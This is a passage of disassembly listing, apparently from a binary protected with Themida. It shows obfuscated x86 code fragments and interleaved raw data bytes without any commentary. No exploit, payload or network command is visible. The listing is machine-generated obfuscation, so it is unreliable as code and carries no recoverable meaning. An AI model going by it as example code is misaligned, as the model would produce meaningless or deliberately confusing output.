		dd 0FF45E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569941:				; CODE XREF: Themida_:0056AEDEj
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56AAD6
; ---------------------------------------------------------------------------


loc_569967:				; CODE XREF: Themida_:0055D6F6j
		neg	edx
		neg	edx
		jmp	loc_56E8B0
; ---------------------------------------------------------------------------


loc_569970:				; CODE XREF: Themida_:00561171j
		sub	edi, 4
		jmp	loc_5640E7
; ---------------------------------------------------------------------------
		dd 3E7C147h, 31AFC781h,	0C78107CDh, 270F7BEFh, 22DCC781h
		dd 3BE9F4D0h, 89FFFFEFh, 5266240Ch, 505380B2h, 8904EC83h
		dd 0D588240Ch, 0C8BE888h, 4C48124h, 52000000h, 0F388C688h
		dd 8324148Bh, 48B04C4h,	4C48324h, 18E9D988h, 66FFFF3Ch
		dd 0B5240C89h, 66EB00C9h, 81240C8Bh, 2C4h, 66C30000h, 5DB75352h
		dd 0C05BFE88h, 0CDE907EEh, 81FFFFB0h, 834830C2h, 4692E958h
		dd 0E581FFFFh, 0C217185h, 2030E9h, 4C48100h, 35000000h
		dd 3D6754Fh, 7DFAE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569A12:				; CODE XREF: Themida_:00561023j
		xor	ebx, 5C217ABAh
		jmp	loc_56EE85
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 5Bh
		dd 14A0375h, 5BC281DAh,	8B4A0375h, 0C483241Ch, 0E2C68104h
		dd 16CC24Eh, 0E2EE81D6h, 5A6CC24Eh, 2C681h, 0E9560000h
		dd 0FFFFACD9h, 0F1805A66h, 0CA885276h, 595AD488h, 0DA86852h
		dd 9BE90000h, 8700001Bh, 0FFE92414h, 0B9000006h, 720F34EDh
		dd 0FF78A2E9h, 4C481FFh, 0E9000000h, 0FFFFA7D2h, 0E924148Bh
		dd 7116h, 2434FF5Ah, 9AD0E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A92:				; CODE XREF: Themida_:00563100j
		shl	ebx, 7
		push	eax
		mov	eax, 575A6495h
		inc	eax
		not	eax
		push	ebp
		mov	ebp, 4A287BFDh
		add	eax, 497507D6h
		jmp	loc_56A64A
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 5FD54DF7h, 0FFF29AE9h, 148B68FFh, 2C8B777Ch,	4C48324h
		dd 89EB8953h, 718CE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569ACE:				; CODE XREF: Themida_:0056DA8Cj
		mov	eax, [esp]
		jmp	loc_568720
; ---------------------------------------------------------------------------
		dw 474Fh
		dd 563EF781h, 3DE9142Ch, 5E000004h, 0E908E7C1h,	0FFFFD4CAh
		dd 0CF80CDB7h, 66CFFE35h, 28E4B551h, 5966EFh, 59E95BF8h
		dd 81000082h, 0F6ECD2C1h, 65052D08h, 0C8017AF4h, 0F4650505h
		dd 4FCAE97Ah, 0F5010000h, 0E956505Eh, 0FFFF7BBEh, 13E9F189h
		dd 100002Ch, 4EC83DFh, 0BD242C89h, 6D183D85h, 8B5DEF29h
		dd 3CE9241Ch, 33FFFFF1h, 9AE9240Ch, 1000020h, 4875EF0h
		dd 0E9515C24h, 0FFFF35C7h, 8B66CA88h, 0C9E9240Ch, 0BBFFFF39h
		dd 0EEC4464h, 0C86386B8h, 5AE9564Dh, 8B000044h,	0E9572404h
		dd 53CBh, 0C189C829h, 40C18158h, 8143AB67h, 0A1794C1h
		dd 59CD89D6h, 815DEE21h, 0FFFFFDEEh, 1CBFE9FFh,	248B0000h
		dd 9889E924h, 0D7F6FFFFh, 8026CF80h, 0C78062EFh, 1EF80D5h
		dd 5019CF80h, 0C730E3B0h, 0E9FE3058h, 3804h, 242C8B53h
		dd 556668h, 24148900h, 5EE95A54h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569BD7:				; CODE XREF: Themida_:0056F972j
		sub	esi, 1BC12994h
		jmp	loc_561CB0
; ---------------------------------------------------------------------------


loc_569BE2:				; CODE XREF: Themida_:0056F16Cj
		sub	edx, eax
		add	edx, 45EA09DDh
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_566E1C
; ---------------------------------------------------------------------------
		dd 8A0338BAh, 0E2BB5303h, 81163866h, 4D9A2EF3h,	0E9D989EAh
		dd 0FFFF7882h
; ---------------------------------------------------------------------------


loc_569C20:				; CODE XREF: Themida_:0056DFC8j
		pop	edi
		pop	eax
		push	edi
		mov	edi, 1B1D7167h
		jmp	loc_5610D1
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0B3h
		dd 2D2B4C94h, 22FD38C5h, 0C505E801h, 5D22FD38h,	5B2434FFh
		dd 0FFCAA6E9h, 24148BFFh, 8104C483h, 4C2h, 4EC8100h, 89000000h
		dd 0BF57240Ch, 55D1788Eh, 33E9F989h, 68FFFF93h,	304F66C7h
		dd 5CB7E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569C76:				; CODE XREF: Themida_:00571264j
		mov	eax, [esp]
		jmp	loc_570867
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFE4E8h
; ---------------------------------------------------------------------------


loc_569C84:				; CODE XREF: Themida_:0055DDD4j
		mov	ebx, esp
		jmp	loc_56A628
; ---------------------------------------------------------------------------


loc_569C8B:				; CODE XREF: Themida_:005635F4j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		jmp	loc_55EB5F
; ---------------------------------------------------------------------------
		dd 3C8BFB01h, 4C48324h,	5C241C87h, 381168h, 240C8900h
		dd 4C7468h, 243C8900h, 0C781E789h, 4, 76C4E956h, 15BFFFFh
		dd 2C63E9CBh, 0D5290000h, 5872E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569CD6:				; CODE XREF: Themida_:0056FAC5j
		push	ebp
		mov	edx, [esp]
		push	45D8h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_562DD4
; ---------------------------------------------------------------------------
		dd 0D687D2F7h, 8102EEC1h, 1D41A9C6h, 2AC5814Eh,	111E532h
		dd 2AED81F5h, 0E911E532h, 0FFFFE465h, 0C789F829h, 81D7F758h
		dd 0F8A053F7h, 25E98106h, 138B873h, 25C181F9h, 0E938B873h
		dd 0FFFFABF7h, 4C85E981h, 0C1812B7Ah, 4AB913A9h, 0FFEF87E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569D49:				; CODE XREF: Themida_:00560F02j
		add	esp, 4
		push	edx
		push	eax
		push	ecx
		jmp	loc_5661CB
; ---------------------------------------------------------------------------
		dd 81F22958h, 0D33B55C2h, 0E9515E78h, 34C5h, 0C0684F2Dh
		dd 7E79E913h, 0E9550000h, 13C5h, 81E38953h, 4C3h, 4C38300h
		dd 751FE9h, 4BB00h, 0DE290000h,	5B2434FFh, 3461E9h, 0F668B700h
		dd 3BB151D7h, 8059CF00h, 96E9E1C6h, 80FFFFE0h, 0EA8015EAh
		dd 0D0305849h, 662AE9h,	5193BA00h, 0BF5778CEh, 1, 81BDE9h
		dd 241C8900h, 7A0830BBh, 5BD8294Ch, 0DB3DF905h,	2DF82932h
		dd 32DB3DF9h, 830BA52h,	0D0014C7Ah, 57EAE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569DEA:				; CODE XREF: Themida_:005616DDj
		add	edx, 77E73300h
		pop	eax
		jmp	loc_56749D
; ---------------------------------------------------------------------------


loc_569DF6:				; CODE XREF: Themida_:005611EAj
		pop	edi
		jmp	loc_5630FD
; ---------------------------------------------------------------------------
		dd 12ACED81h, 0EDC12747h, 71BE5607h, 51374032h,	290FFFB9h
		dd 0E4C98127h, 0C146B50Eh, 0F74905E1h, 9FF181D9h, 14DBE2Eh
		dd 0F53159CEh, 7D46E95Eh, 0C781FFFFh, 617359D8h, 0FFF239E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569E39:				; CODE XREF: Themida_:00563922j
		add	edx, edi
		add	edx, 6BA75CCFh
		push	164Bh
		mov	[esp], eax
		mov	eax, 0
		push	6FF3h
		mov	[esp], esi
		mov	esi, 41D871E9h
		push	esi
		jmp	loc_56521C
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 12h
		dd 895423F8h, 0EF815BDFh, 49D50120h, 6A77CF81h,	0DFF705B1h
		dd 0FFD606E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569E7D:				; CODE XREF: Themida_:005690F1j
		add	eax, 1
		push	esi
		mov	esi, 20D77D32h
		and	esi, 52E64E73h
		sub	esi, 0FAE70EB1h
		sub	eax, 6421482Bh
		add	eax, esi
		add	eax, 6421482Bh
		pop	esi
		sub	eax, 3493465h
		sub	eax, 0F34C5663h
		sub	edx, eax
		pop	eax
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_5640BA
; ---------------------------------------------------------------------------


loc_569EC8:				; CODE XREF: Themida_:00571755j
		sub	ebp, 427E0FC5h
		jmp	loc_5631D7
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 0FF8B73E9h,	242C33FFh, 33242C31h, 248B242Ch
		dd 0E1895124h, 59E95156h, 4DFFFFECh, 9F71F581h,	0C68141F8h
		dd 630F3314h, 0EE81EE01h, 630F3314h, 4C6815Dh, 0E9000000h
		dd 636Dh, 0E9E68956h, 0FFFF4C0Ch, 0E95FFD89h, 0FFFFC949h
		dd 7469C381h, 0F3012F48h, 7469EB81h, 295E2F48h,	4ECCE9DAh
		dd 0D8290000h, 26C3E9h,	24143300h, 33241431h, 248B2414h
		dd 0ACC4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F56:				; CODE XREF: Themida_:0056E15Ej
		pop	eax
		jmp	loc_564520
; ---------------------------------------------------------------------------
		dd 348BF301h, 82B1E924h, 0E289FFFFh, 0D1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_569F6D:				; CODE XREF: Themida_:005673EAj
		push	eax
		mov	eax, 1ED915F0h
		shl	eax, 1
		sub	eax, 6ACE7480h
		mov	esi, eax
		jmp	loc_56D0E8
; ---------------------------------------------------------------------------


loc_569F81:				; CODE XREF: Themida_:0056775Ej
		add	edx, 69B84CABh
		jmp	loc_564591
; ---------------------------------------------------------------------------
		dd 0FF2F34E9h, 4EE81FFh, 87000000h, 895C2434h, 5E9243Ch
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569FA3:				; CODE XREF: Themida_:00564E82j
		mov	[esp], eax
		jmp	loc_56B709
; ---------------------------------------------------------------------------
		db 1
		dd 66BF57C3h, 2929F019h, 6B59E9FBh, 0E089FFFFh,	0FFCBB0E9h
		dd 104BB9FFh, 0E1C1555Dh, 8410E902h, 8B660000h,	8357240Ch
		dd 8F5404ECh, 4812404h,	424h, 243C8B00h, 0FFB170E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569FE9:				; CODE XREF: Themida_:00571112j
		pop	esp
		mov	[esp], ebx
		xchg	ecx, [esp]
		jmp	loc_5659C7
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2414895Ch, 0FFD8B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A001:				; CODE XREF: Themida_:00571301j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562C83
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFFAAA9h, 4C481h, 44E90000h, 89FFFF92h
		dd 4C5E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A02A:				; CODE XREF: Themida_:00569425j
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_563FB9
; ---------------------------------------------------------------------------


loc_56A040:				; CODE XREF: Themida_:00566F9Dj
		pop	esi
		sub	ebx, 0D2C00F0h
		mov	edi, ebx
		pop	ebx
		jmp	loc_564CF2
; ---------------------------------------------------------------------------
		db 58h
		dd 1D68BB53h, 0DBF722D2h, 0EBC5E957h, 0CE88FFFFh, 81240C8Bh
		dd 4C4h, 0C5C38000h, 0C3E9E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A072:				; CODE XREF: Themida_:00561B44j
		mov	[esp], ecx
		push	esi
		mov	esi, 45EE34C4h
		push	ecx
		mov	ecx, 41E31DDEh
		add	ecx, 2A101C88h
		jmp	loc_5638E1
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF6B54h, 8BF0295Ah, 0C4832434h, 58C18904h
		dd 0FFAEB1E9h, 0E8015BFFh, 8B2434FFh, 0C481242Ch, 4, 0E904C483h
		dd 1DABh
; ---------------------------------------------------------------------------


loc_56A0BC:				; CODE XREF: Themida_:005621EDj
		sub	ebp, 18EE3B09h
		shr	ebp, 4
		shl	ebp, 5
		xor	ebp, 65592BF7h
		add	ebp, 0BB7B3E18h
		sub	edx, ebp
		jmp	loc_56BCB9
; ---------------------------------------------------------------------------
		db 59h
		dd 5C24048Fh, 47AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A0E5:				; CODE XREF: Themida_:0056A3C2j
		shl	edx, 3
		add	edx, 0F37DCFF0h
		and	eax, edx
		jmp	loc_564E72
; ---------------------------------------------------------------------------


loc_56A0F5:				; CODE XREF: Themida_:0056BB54j
		xor	ebp, esi
		jmp	loc_568605
; ---------------------------------------------------------------------------
		dd 24148B66h, 5B2968h, 24348900h, 8904EC83h, 4832424h
		dd 348B0424h, 4C48324h,	6967B951h, 0B9E94928h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A123:				; CODE XREF: Themida_:00562137j
		sub	edi, eax
		push	ebp
		jmp	loc_55E1A5
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 243C8B00h, 0FF84F6E9h, 3C895CFFh, 9396E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A146:				; CODE XREF: Themida_:0055D5DAj
		add	esp, 4
		jmp	loc_564078
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815E24h, 4, 8B241487h, 0F1F62424h, 0CCB60F66h, 0BE36E953h
		dd 335CFFFFh, 86E9242Ch, 56FFFF94h, 4EC81h, 0FE90000h
		dd 59FFFFBAh, 0BB53DAF7h, 798D5265h, 8107EBC1h,	44335FCBh
		dd 4EC832Fh, 0E9243C89h, 0FFFF3D76h
; ---------------------------------------------------------------------------


loc_56A19C:				; CODE XREF: Themida_:0056015Aj
		sub	ebp, 4B3A43F4h
		mov	ebx, [esp]
		jmp	loc_56C51E
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0FFFFFFFFh, 6097BA52h, 2EE93EA4h, 5C000038h,	89243489h
		dd 5A4968E6h, 1C890000h, 46824h, 1C8B0000h, 0E924h, 0C4830000h
		dd 0B06E904h, 0C4830000h, 8BF10104h, 0EC812434h, 4, 0FF7147E9h
		dd 241487FFh, 243C335Ch, 845AE9h, 2845B400h, 0C0458E3h
		dd 0C2CD800h, 0E9241C8Bh, 0FFFFCDB2h, 4B19E95Dh, 0C2800000h
		dd 0F6DAF671h, 78FCE9D2h, 0EC810000h, 4, 0E9243C89h, 0FFFF88A2h
; ---------------------------------------------------------------------------


loc_56A230:				; CODE XREF: Themida_:00570C33j
		mov	ebx, 4F666271h
		mov	edx, ebx
		pop	ebx
		not	edx
		shr	edx, 6
		add	edx, 0FD3D998Eh
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_55D9DE
; ---------------------------------------------------------------------------


loc_56A24D:				; CODE XREF: Themida_:0056C8A3j
		dec	ebx
		jmp	loc_56F3D3
; ---------------------------------------------------------------------------
		db 89h
		dd 4AE950E3h, 1FFFF73h,	0F8C781DFh, 5B3A2F25h, 54BBEB81h
		dd 0FFE901C2h, 0BD000064h, 0DE63AD0Ah, 1F9E955h, 895B0000h
		dd 24048BC7h, 4C481h, 0E7C10000h, 4AC78108h, 5E57FB8h
		dd 26EF7ADAh, 0DA2DF801h, 5F26EF7Ah, 30868h, 240C8900h
		dd 0BB53E189h, 4, 53D1C181h, 0EFE958F8h, 59FFFF61h, 87E6866h
		dd 24348966h, 3FC2BE66h, 66F23166h, 0D029665Eh,	0FFB0D8E9h
		dd 0A9E951FFh, 50FFFF96h, 997598B8h, 53672522h,	0B32D3AC7h
		dd 0E91E46E0h, 0FFFFF6FFh, 405h, 4B95100h, 1000000h, 48759C8h
		dd 0F2815C24h, 552A380Eh, 0FF2BBCE9h, 240481FFh, 4, 0E9240C8Bh
		dd 0FFFFFA5Ch
; ---------------------------------------------------------------------------


loc_56A318:				; CODE XREF: Themida_:0056365Dj
		push	ebx
		mov	ebx, esp
		jmp	loc_56CD80
; ---------------------------------------------------------------------------
		dd 4BF5759h, 29000000h,	34875FFEh, 23E2E924h, 0D8F60000h
		dd 0F5E93F2Ch
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A33B:				; CODE XREF: Themida_:0056CD1Aj
		sub	ebp, ebx
		pop	ebx
		jmp	loc_57111F
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 75E95224h, 81FFFF44h, 0A228D8EFh,	15C7813Ch
		dd 4F400640h, 0F781EFD1h, 733506CBh, 0C8E9FA29h, 53FFFF7Fh
		dd 0FF6B69E9h, 4EC83FFh, 68240489h, 390136h, 58C62958h
		dd 15B06851h, 2C890000h, 18DFBD24h, 0E9895C6Dh,	0E9CA015Dh
		dd 0FFFFA986h, 5504C483h, 0C238A4BDh, 4EC831Ah,	757EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A3A9:				; CODE XREF: Themida_:00564A36j
		push	415Fh
		mov	[esp], esi
		mov	esi, 41985A02h
		and	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56A0E5
; ---------------------------------------------------------------------------
		db 0B9h
		dd 3C624B51h, 5A53E949h, 0E959FFFFh, 6C6Fh, 0A2C28159h
		dd 503BD656h, 852C22B8h, 58C20116h, 2DFBEA81h, 0EA011B5Bh
		dd 2DFBC281h, 0EA811B5Bh, 16852C22h, 56A2EA81h,	685D3BD6h
		dd 3ABBh, 0B9240C89h, 2, 43D9E9h, 5AD72900h, 243C875Dh
		dd 0FF614CE9h, 0A0E181FFh, 572FB85Ch, 0F1649DBFh, 0DC9EE93Eh
		dd 48FFFFFh, 0BA525C24h, 4, 5D5C032Dh, 68D0010Ah, 3128h
		dd 0BD242C89h, 0A5D5C03h, 34FFE801h, 46ECE924h,	0F201FFFFh
		dd 0BF57505Eh, 7123767Eh, 68ABC781h, 0DFF738EAh, 0EEE95256h
		dd 81FFFFC1h, 65252404h, 0E9581C5Ah, 6332h
; ---------------------------------------------------------------------------


loc_56A480:				; CODE XREF: Themida_:0056BF14j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55F25D
; ---------------------------------------------------------------------------
		dd 4C181h, 0BE560000h, 311844FFh, 0FF7587E9h, 240489FFh
		dd 89515854h, 4C181E1h,	68000000h, 3F6h, 51240489h, 0FFA396E9h
		dd 34822DFFh, 0E95F4638h, 0FFFFA9DDh, 89BB5349h, 0E931E020h
		dd 0FFFF482Fh
; ---------------------------------------------------------------------------


loc_56A4D0:				; CODE XREF: Themida_:00564E12j
		mov	ebx, 567F0413h
		mov	eax, ebx
		pop	ebx
		shl	eax, 1
		xor	eax, 0B1B1172Ch
		jmp	loc_56FBB7
; ---------------------------------------------------------------------------
		dd 2FF7BB53h, 49E94A1Bh, 8B00005Ah, 0C4812414h,	4, 64D5C681h
		dd 0CE016A55h, 64D5EE81h, 0C8B6A55h, 4C48124h, 0E9000000h
		dd 3E91h
; ---------------------------------------------------------------------------


loc_56A514:				; CODE XREF: Themida_:005683E6j
		xor	ebx, [esp]
		jmp	loc_566D31
; ---------------------------------------------------------------------------
		dd 25F8EF81h, 34E93A2Fh, 50FFFFFDh, 0E80803B8h,	6E0C110h
		dd 0A620530Dh, 10CD2D0Eh, 0C329F664h, 7EEB8158h, 0F7328502h
		dd 0A6F381DBh, 9695501h, 0E2815BDAh, 1AB20951h,	2750CA81h
		dd 46E908E8h, 5600003Ah, 2BEh, 5EF30100h, 67C68h, 241C8900h
		dd 42474FFh, 8B2434FFh,	0C483241Ch, 4C48304h, 19F9E9h
		dd 2BF78100h, 29D92084h, 0DDF75FFDh, 0FFF962E9h, 0FFC581FFh
		dd 81FFFFFFh, 0CA71BAEDh, 8BEF21BFh, 0C481242Ch, 4, 0FF3E3EE9h
		dd 59BD55FFh, 0E91BEB66h, 0FFFF33ACh
; ---------------------------------------------------------------------------


loc_56A5BC:				; CODE XREF: Themida_:0056581Aj
		add	ebx, 45F131AEh
		add	ebx, ebp
		jmp	loc_568F48
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 5AD50100h, 4BB53h, 0DD010000h,	242C875Bh, 3EFCE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A5E6:				; CODE XREF: Themida_:0056FC17j
		add	edi, ebx
		add	edi, 4B225357h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5718EC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 241C3300h, 0E9241C31h,	0FFFF32DEh, 24048F5Eh
		dd 4EC835Ch, 0FF8885E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A61D:				; CODE XREF: Themida_:00562EE7j
		mov	bh, cl
		pop	ecx
		mov	eax, [esp]
		jmp	loc_564489
; ---------------------------------------------------------------------------


loc_56A628:				; CODE XREF: Themida_:00569C86j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	7099h
		mov	[esp], edx
		jmp	loc_55E358
; ---------------------------------------------------------------------------


loc_56A64A:				; CODE XREF: Themida_:00569AA9j
		sub	eax, ebp
		jmp	loc_56CD32
; ---------------------------------------------------------------------------
		db 0BBh, 0D3h, 73h
		dd 0E95248F8h, 100Fh
; ---------------------------------------------------------------------------


loc_56A65C:				; CODE XREF: Themida_:0055E6B3j
		xchg	esi, [esp]
		jmp	loc_55D21F
; ---------------------------------------------------------------------------
		dd 0FACE815Dh, 87466D67h, 0DE874BDEh, 4E05EEC1h, 2A7CCE81h
		dd 0EE811F63h, 0E6795494h, 585EF301h, 5E08950h,	4, 42Dh
		dd 24048700h, 241C895Ch, 637DB850h, 442939F8h, 8F580424h
		dd 80E93042h, 89FFFF66h, 0ADBF243Ch, 2962D24Bh,	243C8BFEh
		dd 4C481h, 57E90000h, 100005Fh,	40E95EF3h, 0C1FFFF8Ah
		dd 0A43504E0h, 1020196h, 91E958C1h, 2DFFFF6Fh, 245C20D1h
		dd 4F706035h, 7CC281BCh, 1197D23h, 7977E9C2h, 2C890000h
		dd 94685324h, 5B330E7Eh, 5229C381h, 0C3813F52h,	0B1109F36h
		dd 24048153h, 0EF52874h, 355FE9h, 5FF80100h, 0FFE137E9h
		dd 0ADC281FFh, 58554108h, 557FEB81h, 0C381344Eh, 4A5502D0h
		dd 0B5E9D301h, 8B00007Ah, 0C483243Ch, 2BB5304h,	1000000h
		dd 0E7E95BDAh
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A74B:				; CODE XREF: Themida_:00562E46j
		add	edx, 0F4F22A0h
		sub	edx, eax
		jmp	loc_56265E
; ---------------------------------------------------------------------------
		dd 658FE951h, 0BD55FFFFh, 2960292h, 295DE829h, 92B951F0h
		dd 0E9029602h, 41FEh
; ---------------------------------------------------------------------------


loc_56A774:				; CODE XREF: Themida_:005700ECj
		push	esp
		pop	eax
		push	edi
		push	1FBAh
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_56A7D6
; ---------------------------------------------------------------------------


loc_56A789:				; CODE XREF: Themida_:005713ECj
		dec	esi
		xchg	esi, edi
		jmp	loc_5677AD
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0CCh
		dd 29690C17h, 0CCEA81F2h, 5E690C17h, 7DBBE9h, 19C78000h
		dd 0FF3747E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A7AD:				; CODE XREF: Themida_:0056B436j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_566474
; ---------------------------------------------------------------------------
		dw 51ACh
		dd 81E38953h, 4C3h, 7CB6E900h, 2489FFFFh, 4132E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A7D6:				; CODE XREF: Themida_:0056A784j
		mov	edi, eax
		jmp	loc_570879
; ---------------------------------------------------------------------------
		db 54h,	59h, 0E9h
		dd 0FFFFE318h, 835FFE01h, 348704C6h, 6685C24h, 89000020h
		dd 5253242Ch, 0DD45A6BAh, 45A2BB01h, 0D33101DDh, 5BDD895Ah
		dd 4AD1E9h, 0E9F50100h,	0FFFFDF1Eh
; ---------------------------------------------------------------------------


loc_56A814:				; CODE XREF: Themida_:005603BBj
		mov	ebx, esi
		mov	esi, [esp]
		jmp	loc_56605F
; ---------------------------------------------------------------------------
aYsI_0		db 'YéØi',0
		align 4
		dd 8904EC83h, 5BD242Ch,	0D13BBD65h, 6CF581E5h, 810FC73Fh
		dd 932EACCDh, 0EAED8130h, 178BFFFh, 861AE9E8h, 0E981FFFFh
		dd 751492Ch, 6FDEE9h, 82E68100h, 81017374h, 7C255DE6h
		dd 70E6810Eh, 0D1434556h, 0FCEE81EEh, 0E9002001h, 0FFFFF2B0h
		dd 1953BF57h, 73E91FB6h, 81FFFFE1h, 4750EBF7h, 25342D00h
		dd 0F8014F4Ch, 0FF52CBE9h, 0C8B66FFh, 0BE685224h, 83000025h
		dd 248904ECh, 24048124h, 4, 5024048Fh, 4B8h, 24440100h
		dd 565A5804h, 0F5CE9h, 0C7815F00h, 9FB9F621h, 0FF5FF901h
		dd 835B2434h, 0FF5104C4h, 0E9042474h, 0FFFFA31Dh, 4C281h
		dd 14870000h, 4834E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8E6:				; CODE XREF: Themida_:00566EFCj
		add	ecx, ebp
		pop	ebp
		jmp	loc_55E139
; ---------------------------------------------------------------------------
		dw 1268h
		dd 0E942A04Eh, 0FFFFD756h, 24148758h, 8124248Bh, 8621DFEFh
		dd 81D7F737h, 5F77ABEFh, 0D001E95Fh, 8751FFFFh,	0D3F7241Ch
		dd 0E9241C87h, 0FFFFFAB2h, 5C243487h, 2474FF52h, 99E95A04h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56A92F:				; CODE XREF: Themida_:0055EB70j
		pop	esp
		jmp	loc_5664BD
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 0B9515B5Ch, 9312F7A3h, 85E9CD31h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A953:				; CODE XREF: Themida_:0056ABD3j
		xor	ebx, 513E5296h
		add	ebx, 484FA011h
		jmp	loc_569368
; ---------------------------------------------------------------------------
		dd 8924248Bh, 18BE2434h, 0E93DA630h, 6E72h, 54240C89h
		dd 4C18159h, 0E9000000h, 57F5h,	5FFBED81h, 0EF897FFFh
		dd 247C015Dh, 243C8B04h, 0FF9407E9h, 56E589FFh,	0FFDBC4E9h
		dd 0BC6866FFh, 2068665Ch, 24896677h, 4836624h, 8F660224h
		dd 0EC812404h, 2, 24148966h, 0C8BF6657h, 0B9665175h, 89668A3Ah
		dd 0D001E9CAh, 8B66FFFFh, 8956240Ch, 4C681E6h, 83000000h
		dd 7CE902C6h, 51000071h, 42474FFh, 74F3E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A9F2:				; CODE XREF: Themida_:0056F406j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	ebp, edx
		pop	edx
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_563E68
; ---------------------------------------------------------------------------
aBx		db 'åÎ;',0
		db 76h,	81h, 0F5h
		dd 639CD523h, 95DEE01h,	24348BF1h, 8104C483h, 0FFFFFFC1h
		dd 68FFh, 0C290000h, 0D9F75924h, 96A6BD55h, 0E901B5D7h
		dd 7631E95Dh, 34FF0000h, 97E3E924h, 8166FFFFh, 664FC5F7h
		dd 505FFA21h, 7405B866h, 66D8F766h, 4D9CE997h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AA6A:				; CODE XREF: Themida_:0055E80Fj
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 3A5F324h, 68513862h,	38h, 0FDEAE959h, 34FFFFFFh, 24048B24h
		dd 6804C483h, 2028h, 54240C89h,	0C5BB5359h, 52407F05h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	6851243Ch, 180103C6h
		dd 33C18159h, 0E9F7E030h, 41FCh, 5C24048Fh, 2404D366h
		dd 23EFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AAD6:				; CODE XREF: Themida_:00569962j
		push	dword ptr [esp]
		jmp	loc_564AA0
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 5704C483h,	42474FFh, 24048F5Fh, 0FF24248Bh
